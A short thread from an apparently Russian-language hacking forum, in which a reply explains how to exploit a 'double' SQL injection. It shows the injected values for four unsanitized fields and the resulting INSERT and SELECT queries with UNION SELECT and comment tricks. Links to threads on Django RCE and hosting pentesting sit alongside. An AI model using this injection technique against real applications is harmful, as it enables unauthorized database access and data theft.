Нужна помощь со сложной двойной sql инъекцией.

guestXXXXX · 1 Feb 2010

del.

del.

l1ght · 1 Feb 2010

если внимательно присмотрется в оба запроса, можно заметить, что в инсерте участвует на 1 переменную больше, что дает нам возможность реализовать фрагментированную sqli
было:

insert into DBinfo (user, text1, text2, text3 ) values ('$USER','$text1','$text2', '$text3')
Click to expand...

select id from DBinfo where user='$USER' and text1='$text1' and text3='$text3'
Click to expand...

задали:
$USER='or
$text1=or
$text2=,1,1,1)/*
$text3=union select xek/*
стало:

insert into DBinfo (user, text1, text2, text3 ) values (''or','or',',1,1,1)/*','union select xek/*')
Click to expand...

select id from DBinfo where user=''or' and text1='or' and text3='union select xek/*'
Click to expand...

и желательно в дальнейшем постить такие вопросы сюда

Нужна помощь со сложной двойной sql инъекцией.

guestXXXXX Banned

l1ght Elder - Старейшина

нужна помощь в rce в django 2.2.8

нужна помощь в пентестинге внутри хостинга

Useful Searches

Нужна помощь со сложной двойной sql инъекцией.

guestXXXXX Banned

l1ght Elder - Старейшина

нужна помощь в rce в django 2.2.8

нужна помощь в пентестинге внутри хостинга